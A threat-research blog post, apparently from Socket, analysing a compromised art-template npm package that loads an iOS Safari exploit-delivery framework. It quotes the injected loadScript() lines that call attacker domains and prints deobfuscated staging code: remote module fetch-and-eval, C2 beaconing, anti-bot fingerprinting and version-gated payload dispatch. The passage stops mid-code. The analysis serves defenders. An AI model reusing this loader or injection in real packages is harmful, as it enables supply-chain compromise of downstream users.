惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

F
Full Disclosure
Recorded Future
Recorded Future
T
Tenable Blog
S
Securelist
C
CERT Recently Published Vulnerability Notes
T
Threatpost
S
Schneier on Security
A
Arctic Wolf
The Hacker News
The Hacker News
C
CXSECURITY Database RSS Feed - CXSecurity.com
Know Your Adversary
Know Your Adversary
P
Privacy International News Feed
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
The Register - Security
The Register - Security
Cisco Talos Blog
Cisco Talos Blog
AWS News Blog
AWS News Blog
K
Kaspersky official blog
T
True Tiger Recordings
T
Threat Research - Cisco Blogs
V
Vulnerabilities – Threatpost
P
Palo Alto Networks Blog
T
The Exploit Database - CXSecurity.com
小众软件
小众软件
B
Blog
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
Microsoft Azure Blog
Microsoft Azure Blog
Cyberwarzone
Cyberwarzone
C
Cybersecurity and Infrastructure Security Agency CISA
T
Tor Project blog
Spread Privacy
Spread Privacy
Malwarebytes
Malwarebytes
P
Proofpoint News Feed
F
Fox-IT International blog
F
Fortinet All Blogs
P
Privacy & Cybersecurity Law Blog
G
GRAHAM CLULEY
量子位
Latest news
Latest news
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
博客园 - 叶小钗
Project Zero
Project Zero
T
Tailwind CSS Blog
N
Netflix TechBlog - Medium
Martin Fowler
Martin Fowler
IntelliJ IDEA : IntelliJ IDEA – the Leading IDE for Professional Development in Java and Kotlin | The JetBrains Blog
IntelliJ IDEA : IntelliJ IDEA – the Leading IDE for Professional Development in Java and Kotlin | The JetBrains Blog
I
Intezer
博客园_首页
腾讯CDC
H
Hackread – Cybersecurity News, Data Breaches, AI and More
D
Darknet – Hacking Tools, Hacker News & Cyber Security

Socket

TrapDoor Crypto Stealer Supply Chain Attack Hits 34 Packages and Hundreds of Versions Across npm, PyPI, and Crates.io Laravel Lang Compromised with RCE Backdoor Across 700+ Versions Malicious Postinstall Hook Found Across 700+ GitHub Repositories, Including Packagist and Node.js Projects AI Has Taken Over Open Source npm Invalidates Granular Access Tokens as Mini Shai-Hulud Sweeps the Registry Socket raises $60M Series C at $1B valuation led by Thrive Capital to secure AI-driven software development Socket Raises $60M Series C at a $1B Valuation to Help Enterprises Build Securely With AI Popular Go Decimal Library Targeted by Long-Running Typosquat with DNS Backdoor Active Supply Chain Attack Compromises @antv Packages on npm Popular node-ipc npm Package Infected with Credential Stealer TeamPCP and BreachForums Launch $1,000 Contest for Supply Chain Attacks Packagist Urges Immediate Composer Update After GitHub Actions Token Leak GemStuffer Campaign Abuses RubyGems as Exfiltration Channel Targeting UK Local Government Socket Named to Rising in Cyber 2026 List of Top Cybersecurity Startups TanStack npm Packages Compromised in Ongoing Mini Shai-Hulud Supply-Chain Attack fsnotify Maintainer Dispute Sparks Supply Chain Concerns Socket Releases Free Certified Patches for Critical vm2 Sandbox Escape 5 Malicious NuGet Packages Impersonate Chinese UI Libraries to Distribute Crypto Wallet and Credential Stealer pnpm 11 Adds Supply Chain Protection Defaults for Minimum Release Age and Exotic Subdependencies PyPI Fixes High-Severity Access Control Issues Found in Security Audit Malicious Ruby Gems and Go Modules Impersonate Developer Tools to Steal Secrets and Poison CI Mini Shai-Hulud Spreads to Packagist: Malicious Intercom PHP Package Follows npm Compromise Intercom’s npm Package Compromised in Ongoing Mini Shai-Hulud Worm Attack lightning PyPI Package Compromised in Supply Chain Attack Malicious npm Package Brand-Squats TanStack to Exfiltrate Environment Variables SAP CAP npm Packages Hit by Supply Chain Attack Socket Has Acquired Secure Annex 73 Open VSX Sleeper Extensions Linked to GlassWorm Show New Malware Activations Introducing Reachability for PHP Introducing Data Exports Bitwarden CLI Compromised in Ongoing Checkmarx Supply Chain Campaign Malicious Checkmarx Artifacts Found in Official KICS Docker Repository and Code Extensions Introducing Organization Notifications in Socket Namastex.ai npm Packages Hit with TeamPCP-Style CanisterWorm Malware Introducing Reports: An Extensible Reporting Framework for Socket Data Socket for Jira Is Now Available Socket Named Top Sales Organization by RepVue NIST Officially Stops Enriching Most CVEs as Vulnerability Volume Skyrockets Socket Selected for OpenAI's Cybersecurity Grant Program Feross on the 10 Minutes or Less Podcast: Nobody Reads the Code 108 Chrome Extensions Linked to Data Exfiltration and Session Theft via Shared C2 Infrastructure Axios Supply Chain Attack Reaches OpenAI macOS Signing Pipeline, Forces Certificate Rotation Axios Supply Chain Attack Reaches OpenAI macOS Signing Pipeline, Forces Certificate Rotation Don't Kill the Goose That Lays the Golden Eggs Don't Kill the Goose That Lays the Golden Eggs Feross on TBPN: How North Korea Hijacked Axios Attackers Are Impersonating a Linux Foundation Leader in Slack to Target Open Source Developers Feross on TBPN: How North Korea Hijacked Axios Attackers Are Impersonating a Linux Foundation Leader in Slack to Target Open Source Developers North Korea’s Contagious Interview Campaign Spreads Across 5 Ecosystems, Delivering Staged RAT Payloads Microsoft Releases Open Source Toolkit for AI Agent Runtime Security North Korea’s Contagious Interview Campaign Spreads Across 5 Ecosystems, Delivering Staged RAT Payloads Microsoft Releases Open Source Toolkit for AI Agent Runtime Security Attackers Are Hunting High-Impact Node.js Maintainers in a Coordinated Social Engineering Campaign Attackers Are Hunting High-Impact Node.js Maintainers in a Coordinated Social Engineering Campaign Axios Maintainer Confirms Social Engineering Attack Behind npm Compromise Axios Maintainer Confirms Social Engineering Attack Behind npm Compromise Node.js Drops Bug Bounty Rewards After Funding Dries Up The Hidden Blast Radius of the Axios Compromise
Coruna Respawned: Compromised art-template npm Package Leads to iOS Browser Exploit Kit
Joseph Edwar · 2026-05-21 · via Socket

Sidebar CTA Background

Secure your dependencies with us

Socket proactively blocks malicious open source packages in your code.

Install

Early on May 20th, 2026, the Socket Threat Research team detected signals of a package compromise leading to a sophisticated payload targeting a broad range of iOS devices with a watering-hole attack similar in style to the delivery of the Coruna exploit kit. After careful analysis, a plethora of similarities to that campaign emerged, indicating that a threat actor intended to use a package supply-chain compromise to deliver iOS browser exploits.

Repository Takeover Leads to Package Compromise#

The art-template npm package, a widely-used JavaScript templating library originally authored by aui, was handed over to an unknown actor under the pretense of taking on maintenance of a project the original author was no longer actively stewarding. According to aui , the new controller almost immediately began weaponizing the package:

“Someone previously acquired the project under the guise of taking over its maintenance, but soon released a package containing external scripts and deleted the related issues.”

The pattern of deleting issue reports while continuing to push malicious versions suggests an actor who understood their exposure and was actively suppressing discovery.

The backdoored versions followed an escalating injection pattern. Version 4.13.3 used String.fromCharCode encoding to conceal a loader pointing to git.youzzjizz[.]com/git.js. Versions 4.13.5 and 4.13.6 dropped the obfuscation entirely, injecting a plaintext loadScript() call targeting v3.jiathis[.]com/code/art.js directly into lib/template-web.js. That domain redirects to the watering hole at utaq[.]cfww[.]shop/gooll/gooll.html, which embeds the Coruna exploit kit delivery framework analyzed in this report. The shift from encoded to plaintext injection across successive versions suggests the actors grew increasingly confident in their access. Any application that bundled art-template@4.13.5 or 4.13.6 would silently load and execute the exploit kit in every end user's browser.

Technical Analysis#

The JavaScript implant (49554fde7424c31c.js ) functions as a watering hole exploit delivery framework, targeting Safari on iOS 11.0 through iOS 17.2, explicitly and intentionally rejecting every other browser, OS, and iOS version outside that range. The file is inert on Chrome, Firefox, Edge, Android, and iOS 17.3+.

Upon load it immediately begins beaconing the victim's public IP address, iOS version string, and a campaign tracking code to a C2 server (l1ewsu3yjkqeroy[.]xyz) every 10 seconds. Simultaneously, it runs five layers of anti-bot and anti-automation fingerprinting, including an inline WebAssembly proof-of-work, before fetching a server-side payload via a content-addressed remote module loader.

Several technical characteristics of the delivery mechanism suggest gating for browser exploit delivery:

  • CPU architecture discrimination: the implant distinguishes CPU_TYPE_ARM64 from CPU_TYPE_ARM64_32 and routes to different final-action modules accordingly. A phishing form has no use for the victim's CPU type. Exploit payloads targeting specific JIT compiler paths do.
  • Version-specific WASM memory offsets (rvXShf): values of 72, 16, 64, 88, and 96 are applied at per-iOS-version precision to read from compiled WASM function bodies at exact byte offsets. This is a memory layout probe consistent with verifying a vulnerable code path before triggering a JIT corruption exploit — not rendering a login form.
  • $n() reads JIT-compiled machine code: the WASM challenge retrieves a function pointer from the WASM table and reads memory at ptr + rvXShf to verify the JIT compiler's output against an expected hash. This technique is used to confirm a specific vulnerable JIT output exists before exploitation.
  • Five separate version-specific WASM loader modules: exploit primitives require version-specific memory layouts; phishing pages do not.
  • Hard cutoff at iOS 17.3: the implant explicitly resets its payload flag to false for iOS 17.3+, a boundary more consistent with a patched CVE than a phishing kit's version preference.
  • .si() retried up to 20 times: transient WASM initialization failures are characteristic of exploit setup racing against JIT compilation timing, not form injection.

Vulnerable iOS Devices

Targeted:

  • iOS 11.0 – 15.1 — mmrZ0r flag path
  • iOS 15.2 – 15.5 — RbKS6p flag path
  • iOS 15.6 – 16.1 — ShQCsB flag path
  • iOS 16.2 – 16.5 — KeCRDQ flag path
  • iOS 16.6 – 17.1 — JtEUci flag path
  • iOS 17.2 — JtEUci + wC3yaB; hardened WASM-verified path
  • macOS Safari — partial; desktop WebKit path exists, fingerprinting differs

Not targeted:

  • iOS < 11.0 — below minimum flag threshold
  • iOS 17.3+ — JtEUci explicitly reset to false at threshold 170300
  • Chrome / Firefox / Edge — hard-thrown on non-WebKit UA
  • Android — rejected by Safari-specific UA check

Primary target population: iOS 16.6 – 17.2 (released September 2022 – December 2023). This range covers the majority of non-auto-updating iPhone users worldwide at time of deployment.

npm Supply Chain Entry Point#

This payload was delivered via a compromised npm package. pkg:npm/art-template@4.13.5 and pkg:npm/art-template@4.13.6 both append a browser-side remote-script loader after the legitimate webpack bundle in lib/template-web.js:

loadScript('<https://v3.jiathis>[.]com/code/jia.js?uid=artemplate')  ← 4.13.5
loadScript('<https://v3.jiathis>[.]com/code/art.js')                 ← 4.13.6

When the browser build is consumed by a downstream site, this injects a <script> tag and executes arbitrary attacker-controlled JavaScript in the host page — enabling cookie/localStorage theft, form hijacking, redirects, and further payload staging.

The full delivery chain is:

pkg:npm/art-template@4.13.5 / @4.13.6
  └─ lib/template-web.js injects loadScript(...)
       └─ hxxps://v3.jiathis[.]com/code/art.js
            └─ redirects to hxxps://utaq[.]cfww[.]shop/gooll/gooll.html
                 └─ embeds hxxps://utaq[.]cfww[.]shop/gooll/49554fde7424c31c.js
                      └─ Safari/iOS watering hole exploit delivery framework
                           └─ server-side payload via .lA() [unknown, C2-gated]
  • Filename: 49554fde7424c31c.js
  • SHA-256: f31bdd069fe7966ae11be1f78ee5dd44445938856dd1df12379e0e84a6851f5c
  • SHA-1: 8064d4e0322f069b3dba13e7957ff0ca7dab7984
  • MD5: 6e79ae622b7ef30f31fdbcc2dc65339e
  • Size: 50,629 bytes
  • Runtime target: Safari / WebKit only
  • Self-registered name: 7a7d99099b035b2c6512b6ebeeea6df1ede70fbb.min.js

Obfuscation Layers#

Three distinct obfuscation layers are applied from outside-in.

Layer 0 — UTF-16 Integer Packer (fqMaGkN4)

The first functions defined in the file implement a custom string packer that encodes string constants as arrays of 32-bit unsigned integers, each holding two UTF-16 code units packed in little-endian byte order. Strings are recovered at runtime via unescape().

// As found in the file (outer packer — unmodified)
function fqMaGkNL(V) {
  return 1 === (V = V.toString(16).toLowerCase()).length && (V = "0" + V), V
}
function fqMaGkN4(V) {
  return V.reduce((V, R) => {
    let T;
    const N = 255 & R,
          U = (4278190080 & R) >> 24 & 255,
          l = (16711680  & R) >> 16 & 255;
    return V + (
      T = "%u",
      T += fqMaGkNL((65280 & R) >> 8 & 255),
      T += fqMaGkNL(N),
      T += "%u",
      T += fqMaGkNL(U),
      T += fqMaGkNL(l),
      unescape(T)
    )
  }, "")
}

// Example call — decodes the implant's self-registered filename:
function fqMaGkNg() {
  return fqMaGkN4([
    1631006510, 960062519, 1647917360, 1647653680, 892756786,
    912405041,  1701143141, 1681285477, 1684353382, 1714435941,
    1831756386, 1781427817, 115
  ])
}
// → "./7a7d99099b035b2c6512b6ebeeea6df1ede70fbb.min.js"

When called with an empty array (fqMaGkN4([])), the result is "". This is used intentionally for the result-callback URL — the beacon fires but goes nowhere, acting as a kill-switch for the status reporter while the C2 beacon runs separately.

Layer 1 — new Function(atob("..."))() Eval Chain

The 39,900-character base64 blob assigned to globalThis.obChTK decodes to a 29,924-character JavaScript constructor. It is never placed in any variable — it is immediately invoked as new Function(atob("..."))(). The decoded constructor builds the obChTK global module dispatcher and contains a JSON object MM whose keys are SHA-1 content hashes and whose values are further base64-encoded JavaScript module bodies.

// Top-level structure (as found):
window.globalThis = window;
globalThis.obChTK = new Function(atob("bGV0IE1NPXsiNTc2MjAy..."))();

// Decoded constructor (abbreviated):
let MM = {
  "57620206d62079baad0e57e6d9ec93120c0f5247": "<base64: 64-bit math lib>",
  "14669ca3b1519ba2a8f40be287f646d4d7593eb0": "<base64: fingerprint engine>",
};
let e = {};  // module cache

function hPL3On(M) {   // synchronous module loader
  if (!(M in e)) {
    const I = atob(MM[M]);
    e[M] = new Function(I)();
  }
  return e[M];
}

async function ZKvD0e(M) {   // asynchronous remote module loader
  if (!(M in e) && !(M in MM)) {
    let I = SHA256(e.p + M).substring(0, 40);  // content-hash the URL
    const N = await XHR_GET(e.$ + I + ".js");   // fetch from server
    e[M] = new Function(N)();                   // eval fetched code
  }
  return hPL3On(M);
}

// obChTK exposes four methods:
// .po3QmN(url)  — set base URL (script directory)
// .eW4__H(key)  — set session key ("cecd08aa6ff548c2")
// .hPL3On(hash) — synchronous inline module lookup
// .ZKvD0e(hash) — async remote module fetch + eval

Layer 2 — Per-String XOR Encoding

Every sensitive string inside both inline modules and the outer wrapper is encoded as an integer array XOR'd with a per-string key constant. Keys range from 45 to 122.

// Example: XOR key 67 — decodes to a module hash
[118,116,117,100,99,114,98,103,112,100,120,116,100,121,51,97,98,100,
 99,113,107,114,115,102,99,56,98,54,100,50,99,51,48,102,51,50,52,55]
  .map(x => String.fromCharCode(x ^ 67)).join("")
// → "57620206d62079baad0e57e6d9ec93120c0f5247"

// Example: XOR key 0 (plaintext char codes) — decoded C2 URL
[104,116,116,112,115,58,47,47,108,49,101,119,115,117,51,121,106,107,
 113,101,114,111,121,46,120,121,122,47,97,112,105,47,105,112,45,115,
 121,110,99,47,115,121,110,99]
  .map(x => String.fromCharCode(x)).join("")
// → "<https://l1ewsu3yjkqeroy.xyz/api/ip-sync/sync>"

// Example: XOR key 0 — IP oracle
[104,116,116,112,115,58,47,47,105,112,118,52,46,105,99,97,110,104,
 97,122,105,112,46,99,111,109]
  .map(x => String.fromCharCode(x)).join("")
// → "<https://ipv4.icanhazip.com>"

Layer 2b — Integer Constant Obfuscation

Numeric constants are stored as XOR pairs of 32-bit integers, defeating static analysis tools that scan for magic numbers:

(1231382113 ^ 1231552349)   // → 236        iOS version threshold offset
(1937131623 ^ 1937135719)   // → 4096       WASM heap alignment
(1433892436 ^ 1433892523)   // → 0xFF       SHA-256 byte mask
(1345340530 ^ -1361199427)  // → 0xFEEDFACF Mach-O 64-bit binary magic
(1903251526 ^ 1903260907)   // → 9389       WASM challenge expected value (0x24AD)

Stage 0 — Bootstrap and Module Dispatcher#

On script load, three things happen synchronously before any network activity:

  1. window.globalThis = window patches the global alias for older WebKit.
  2. globalThis.obChTK = new Function(atob("..."))() decodes and evaluates the 29 KB constructor, registering two inline modules and exposing the four dispatcher methods.
  3. globalThis.obChTK.eW4__H("cecd08aa6ff548c2") sets the session discriminator used in all remote module URL derivations.
  4. globalThis.obChTK.po3QmN(fqMaGkNg()) sets the base URL to the decoded script path: ./7a7d99099b035b2c6512b6ebeeea6df1ede70fbb.min.js.

The two bundled inline modules are evaluated immediately on first access:

  • 57620206d62079baad0e57e6d9ec93120c0f5247 — 64-bit integer math library (BigInt polyfill via two 32-bit limbs; includes LEB128 encoder/decoder used by the WASM builder)
  • 14669ca3b1519ba2a8f40be287f646d4d7593eb0 — browser fingerprinting and capability engine (version tables, all flag definitions, WASM fingerprinter, anti-bot probes)

Neither module touches the DOM or makes network requests at this stage.

Stage 1 — Safari/WebKit Browser Gate#

The main entry point fqMaGkNR() calls fqMaGkNK.init() on the fingerprinting module, passing navigator.platform, navigator.userAgent, and several other environment parameters.

// Deobfuscated init() — browser gate (from module 14669ca3...)
r.init = function(platform, maxTouchPoints, ..., userAgent) {

  // Hard-reject non-Safari/WebKit
  if (userAgent.match(/Version\\//))          F.dn = 'safari';
  else if (!userAgent.match(/AppleWebKit\\//)) throw new Error("");  // abort
  if ('safari' !== F.dn)                     throw new Error("");  // abort

  // Parse version string into integer score
  // "17.3.1" → parseInt("17" + "03" + "01") = 170301
  let u = userAgent.match(/Version\\/(\\d+)\\.(\\d+)(?:\\.(\\d+))?/);

  // Fallback for custom iOS UA: "MobileStore/1.0 ... iOS/17.2"
  if (null === u && userAgent.startsWith('MobileStore/1.0'))
    u = userAgent.match(/iOS\\/(\\d+)\\.(\\d+)(?:\\.(\\d+))?/);
  if (null === u) throw new Error("");

  F.xn = parseInt(
    pad(u[1]) + pad(u[2]) + (u[3] ? pad(u[3]) : "00"),
    10
  );
  F.runtime = 'LTgSl5';  // default runtime table name
  p();                    // build capability flags for this version
};

Any throw from init() (wrong UA) or the version check below 13.0 terminates execution immediately, returning exit code 1001.

Stage 2 — Version Scoring and Capability Flag Assignment#

The p() function consults the LTgSl5 version table to set exactly one mutually exclusive Boolean payload flag in F.Nn. The table is walked from lowest threshold to highest; each entry overwrites the previous state. The result is a single-flag selector that governs which remote payload module will be fetched.

// Deobfuscated p() — version flag builder
function p() {
  const table = _[F.runtime];         // e.g. _['LTgSl5']
  const entries = table.slice().reverse();  // lowest threshold first
  entries.forEach((entry, idx) => {
    if (idx === 0 || entry.GFx77t <= F.xn) {
      Object.assign(F.Nn, entry.flags);
    }
  });
}

Full LTgSl5 Version Table (Decoded)

  • 100000 (iOS 10.0, base) — sKfNmf=false
  • 110000 (iOS 11.0) — mmrZ0r=trueRbKS6p=falseShQCsB=falseKeCRDQ=falsewC3yaB=false
  • 130001 (iOS 13.0.1) — zpy6Mu=24xK8SW0=72
  • 130006 (iOS 13.0.6) — zpy6Mu=16
  • 150200 (iOS 15.2) — RbKS6p=truemmrZ0r=false
  • 150400 (iOS 15.4) — xK8SW0=64
  • 150600 (iOS 15.6) — ShQCsB=trueRbKS6p=false
  • 160200 (iOS 16.2) — KeCRDQ=trueShQCsB=false
  • 160400 (iOS 16.4) — UPk5PY=88
  • 160600 (iOS 16.6) — JtEUci=trueKeCRDQ=false
  • 170000 (iOS 17.0) — UPk5PY=96
  • 170200 (iOS 17.2) — wC3yaB=truewYk8Jg=true
  • 170300 (iOS 17.3) — JtEUci=false ← hard cutoff

The zpy6Mu and xK8SW0 fields are memory offset values passed to the WASM fingerprinter (Stage 4). UPk5PY controls a crypto initialization parameter. wC3yaB and wYk8Jg enable the hardened WASM-verified final-action path (Stage 5).

Resulting Payload Flag per iOS Version Band

  • iOS 11.0 – 15.1 — flag mmrZ0r → 7d8f5bae97f37aa318bccd652bf0c1dc38fd8396
  • iOS 15.2 – 15.5 — flag RbKS6p → ea3da0cfb0a5bdb8c440dd4a963f94cbd39d9e44
  • iOS 15.6 – 16.1 — flag ShQCsB → d11d34e4d96a4c0539e441d861c5783db8a1c6e9
  • iOS 16.2 – 16.5 — flag KeCRDQ → 57cb8c6431c5efe203f5bfa5a1a83f705cb350b8
  • iOS 16.6 – 17.2 — flag JtEUci → e3b6ba10484875fabaed84076774a54b87752b8a
  • iOS 17.3+ — no flag set → exit 1001

The zpy6Mu and xK8SW0 fields are memory offset values passed to the WASM fingerprinter (Stage 4). UPk5PY controls a crypto initialization parameter. wC3yaB and wYk8Jg enable the hardened WASM-verified final-action path (Stage 5).

Stage 3 — Five-Layer Anti-Bot and Anti-Headless Fingerprinting#

For iOS 16+, fqMaGkNR() calls fqMaGkNK.Hn() before proceeding. This stage runs five independent probes. A failure in any probe returns 1001.

Probe 1 — navigator.webdriver Rejection

// Deobfuscated webdriver check
if (navigator.webdriver === true) {
  if (F.En === undefined) throw new Error("");  // abort — no override set
}

F.En is set to Array(!1)[0] (i.e. undefined) at init time, making this an unconditional block against all Selenium, Playwright, and Puppeteer-controlled browsers. There is no bypass path.

Probe 2 — WebRTC and WebGL API Presence

// Deobfuscated WebRTC + WebGL probe
const hasRTC = !!(
  globalThis.RTCPeerConnection        ||
  globalThis.mozRTCPeerConnection     ||
  globalThis.webkitRTCPeerConnection  ||
  globalThis.RTCIceGatherer
);
const hasWebGL = !!(globalThis.WebGLRenderingContext);

if (!hasRTC || !hasWebGL) return 1001;

Most correctly configured headless environments expose these APIs, but misconfigured or minimal environments do not. This check is a secondary filter on top of Probe 1.

Probe 3 — MathML Color Rendering

This is the most reliable headless detection technique in the set. It injects a MathML element into the live DOM and verifies that the browser's CSS engine correctly resolves the mathcolor attribute to an RGB color value. Server-side renderers, jsdom, and most headless environments that do not implement MathML will return an incorrect or empty color.

// Deobfuscated MathML probe (r.Hn in module 14669ca3...)
function checkMathML() {
  const id  = 'ldm_mml_t';
  const div = document.createElement('div');
  div.setAttribute("id", id);
  div.innerHTML = "<math style='display:none'>" +
                  "<mrow mathcolor=\\"blue\\"><mn>14</mn></mrow>" +
                  "</math>";

  const root = document.body || document.firstChild;
  root.appendChild(div);

  const color = globalThis.getComputedStyle(
    div.firstChild.firstChild, null
  ).color;

  root.removeChild(document.getElementById(id));
  return color === 'rgb(0, 0, 255)';  // true = real browser
}
if (!checkMathML()) return 1001;

Probe 4 — IndexedDB Blob Write (iOS) / Web SQL + localStorage (macOS)

The probe branches on navigator.maxTouchPoints to distinguish iOS from macOS.

// Deobfuscated Yn() — storage probe
function Yn() {
  return new Promise(resolve => {
    if (navigator.maxTouchPoints !== undefined) {
      // iOS path: IndexedDB Blob write test
      const req = window.indexedDB.open('_ldm_' + Math.random(), 1);
      req.onupgradeneeded = function(e) {
        try {
          e.result
            .createObjectStore('test', { autoIncrement: true })
            .put(new Blob());
          resolve(false);  // succeeded → newer iOS (15.4+)
        } catch(err) {
          const msg = (err instanceof Error) ? err.message : String(err);
          // true  → error matched → iOS ≤ 15.3 (Blob URLs not yet supported)
          // false → different error → still a real browser
          resolve(typeof msg === 'string'
            ? /BlobURLs are not yet supported/.test(msg)
            : false);
        }
      };
    } else {
      // macOS path: deprecated Web SQL + localStorage
      try {
        window.openDatabase(null, null, null, null); // throws on Safari 15.4+
        resolve(false);  // if it doesn't throw, macOS pre-15.4 — continue
      } catch(_) {
        // Verify localStorage works
        const k = '_ldm_' + Math.random();
        localStorage.setItem(k, '1');
        localStorage.removeItem(k);
        resolve(false);  // real macOS Safari — continue
      }
    }
  });
}

The "BlobURLs are not yet supported" version boundary:

This error was thrown by WebKit's IndexedDB implementation before Blob object URL support was added (WebKit bug 227576, fixed in Safari 15.4 / iOS 15.4, March 2022).

  • kn = true — iOS 11.0 – 15.3; pre-15.4, Blob write threw "BlobURLs are not yet supported"
  • kn = false — iOS 15.4+; write succeeded or a different error was thrown

The result is stored in F.kn and forwarded to the server-side payload modules via the shared F state object exposed through globalThis.obChTK. The probe does not gate payload selection — it is a fingerprinting data point passed to the remote .lA() payload so it can tailor its UI to the specific device.

Probe 5 — (Reserved) Timeout Sentinel

A 5-second setTimeout sentinel is set before Yn() runs. If the IndexedDB probe does not complete within 5 seconds (e.g. in a sandboxed environment that stalls on IDB access), the sentinel fires and resolves the probe as false regardless, allowing execution to continue. This prevents indefinite hangs from tripping automation-detection trip wires in the harness.

Stage 4 — Content-Addressed Remote Payload Fetch#

After the anti-bot probes pass, fqMaGkNR() uses the capability flag to select a module hash and fetches it via ZKvD0e().

// Deobfuscated module dispatch in fqMaGkNR()
let T;
const env = fqMaGkNK.zn;

if      (env.Nn.JtEUci) T = await ZKvD0e('e3b6ba10484875fabaed84076774a54b87752b8a');
else if (env.Nn.KeCRDQ) T = await ZKvD0e('57cb8c6431c5efe203f5bfa5a1a83f705cb350b8');
else if (env.Nn.ShQCsB) T = await ZKvD0e('d11d34e4d96a4c0539e441d861c5783db8a1c6e9');
else if (env.Nn.RbKS6p) T = await ZKvD0e('ea3da0cfb0a5bdb8c440dd4a963f94cbd39d9e44');
else if (env.Nn.mmrZ0r) T = await ZKvD0e('7d8f5bae97f37aa318bccd652bf0c1dc38fd8396');
// T === undefined → return fqMaGkNr(1001)

URL Derivation (Content-Addressed Fetch)

The remote module URL is not a direct path to the module hash. It is derived by hashing the session key concatenated with the module hash through the bundled SHA-256 implementation:

// Deobfuscated ZKvD0e() — remote module loader
async function ZKvD0e(moduleHash) {
  if (!(moduleHash in e) && !(moduleHash in MM)) {
    // Derive fetch path: SHA256(sessionKey + moduleHash)[0:40]
    const fetchPath = SHA256("cecd08aa6ff548c2" + moduleHash).substring(0, 40);
    // e.$ = script base directory
    // Append cache-busting param: ?{random5-10char}={0|1}
    const url = e.$ + fetchPath + ".js?" + randomKey + "=" + randomBit;
    const src  = await XHR_GET(url, { responseType: "text" });
    e[moduleHash] = new Function(src)();  // eval fetched code
  }
  return hPL3On(moduleHash);
}

The session key cecd08aa6ff548c2 acts as a server-side gate: a request using the wrong key produces a 404, making the payload invisible to crawlers and scanners that do not know the key. The cache-busting random query parameter prevents CDN caching of payload modules.

Derived Fetch Paths for iOS Payload Modules

Session key: cecd08aa6ff548c2

iOS 11.0–15.1 (mmrZ0r):
  SHA256("cecd08aa6ff548c2" + "7d8f5bae97f37aa318bccd652bf0c1dc38fd8396")[0:40]
  → 5ff38f5342bb3c931bc504d6fa3523d0c8865b93
  → GET ./5ff38f5342bb3c931bc504d6fa3523d0c8865b93.js

iOS 15.2–15.5 (RbKS6p):
  → 46ecd515ac9e99ef0603063db39303a0fd849632
  → GET ./46ecd515ac9e99ef0603063db39303a0fd849632.js

iOS 15.6–16.1 (ShQCsB):
  → ff4f3cb4711fb364b52de5ab04a8f83140466f89
  → GET ./ff4f3cb4711fb364b52de5ab04a8f83140466f89.js

iOS 16.2–16.5 (KeCRDQ):
  → 8c4451cf1258f9a8d6a8af27864f111fd69a0e99
  → GET ./8c4451cf1258f9a8d6a8af27864f111fd69a0e99.js

iOS 16.6–17.2 (JtEUci):
  → 6beef463953ff422511395b79735ec990bed65f4
  → GET ./6beef463953ff422511395b79735ec990bed65f4.js

.si() Retry Loop (WASM Initialization)

The fetched module exposes a .si() method that initializes the WebAssembly environment and stores the resulting instance in F.Xn. Because WASM compilation is async and can fail transiently in constrained iOS environments, it is retried up to 20 times:

// Deobfuscated si() retry loop
for (let attempt = 0; attempt < 20; attempt++) {
  try {
    return void (
      'AsyncFunction' === T.si.constructor.name
        ? await T.si()   // async: await it
        : T.si()         // sync: call directly
    );
  } catch(e) {}
}
throw new Error("");  // 20 failures → abort

If F.Xn is null after the loop, execution exits with 1001.

Stage 5 — WebAssembly Architecture Fingerprinting#

After .si() succeeds, the function lr() runs a low-level WASM memory probe to determine the CPU architecture of the device and select the appropriate crypto path.

Inline WASM Module Construction

A 52-byte WebAssembly module is assembled at runtime from XOR-decoded byte constants. The bytes are verified below (XOR constants decoded to plaintext):

Decoded WASM bytes:
  00 61 73 6d  01 00 00 00   ← magic (0x6d736100) + version 1
  01 07 01 60  02 7f 7f 01   ← type section: func(i32,i32)→i32
  7f 03 03 02  00 00         ← function section: 2 functions, both type 0
  07 09 02 01  61 00 00 01   ← export section: "a"→func0, "b"→func1
  62 00 01 10  11            ← end of exports
  02 07 00     20 00 20 01   ← code section func0: local.get 0, local.get 1
  6a 0b                      ←   i32.add, end
  07 00        20 00 20 01   ← code section func1: local.get 0, local.get 1
  6b 0b                      ←   i32.sub, end

Exports:
  a(x, y) = x + y   (i32.add)
  b(x, y) = x - y   (i32.sub)

Mach-O Magic Detection (lr())

lr() walks the WASM heap to find the Mach-O 64-bit binary magic constant 0xFEEDFACF, which the JavaScriptCore WASM runtime embeds at architecture-dependent offsets. The presence and position of this constant distinguishes CPU architecture:

// Deobfuscated lr() — architecture probe
function lr() {
  const mem   = new Uint32Array(F.Xn.exports.memory.buffer);
  const magic = 0xFEEDFACF;  // (decoded: 1345340530 ^ -1361199427)

  for (let i = 0; i < mem.length; i++) {
    if (mem[i] === magic) {
      const cpuType = mem[i + 1];
      if (cpuType === 0x01000007) {         // CPU_TYPE_ARM64
        F.runtime = 'RoAZdq';              // standard arm64 iPhone
      } else if (cpuType === 0x0100000C) {  // CPU_TYPE_ARM64_32
        F.runtime = 'PSNMWj';             // Apple Silicon / ARM64_32
        F.Sn = true;                       // enable crypto chain
      }
      p();   // re-run flag builder with new runtime table
      return;
    }
  }
}

Architecture-Specific Runtime Selection

  • CPU_TYPE_ARM64 (0x01000007) → runtime RoAZdq — standard iPhone / iPad (A-series chips)
  • CPU_TYPE_ARM64_32 (0x0100000C) → runtime PSNMWjF.Sn=true — Apple Silicon Mac running iOS app (M-series chips)

When PSNMWj is selected, p() re-runs with the PSNMWj version table, replacing all LTgSl5 flags with architecture-specific ones. The F.Sn=true flag enables the crypto chain.

Crypto Chain (PSNMWj / Apple Silicon Path Only)

// Deobfuscated fqMaGkNO() — crypto chain
async function fqMaGkNO() {
  const Nn = fqMaGkNK.zn.Nn;

  if (Nn.wF8NpI || Nn.LJ1EuL) {
    // Both paths share the same init module
    await (await ZKvD0e('477db22c8e27d5a7bd72ca8e4bc502bdca6d0aba')).ul();
  }

  let cryptoModule;
  if      (Nn.wF8NpI) cryptoModule = await ZKvD0e('29b874a9a6cc9fa9d487b31144e130827bf941bb');
  else if (Nn.LJ1EuL) cryptoModule = await ZKvD0e('9db8a84aa7caa5665f522873f49293e8eebccd5c');
  else if (Nn.CpDW_T) cryptoModule = await ZKvD0e('171a7da1934de9e0efb9c1645f4575f88e482873');
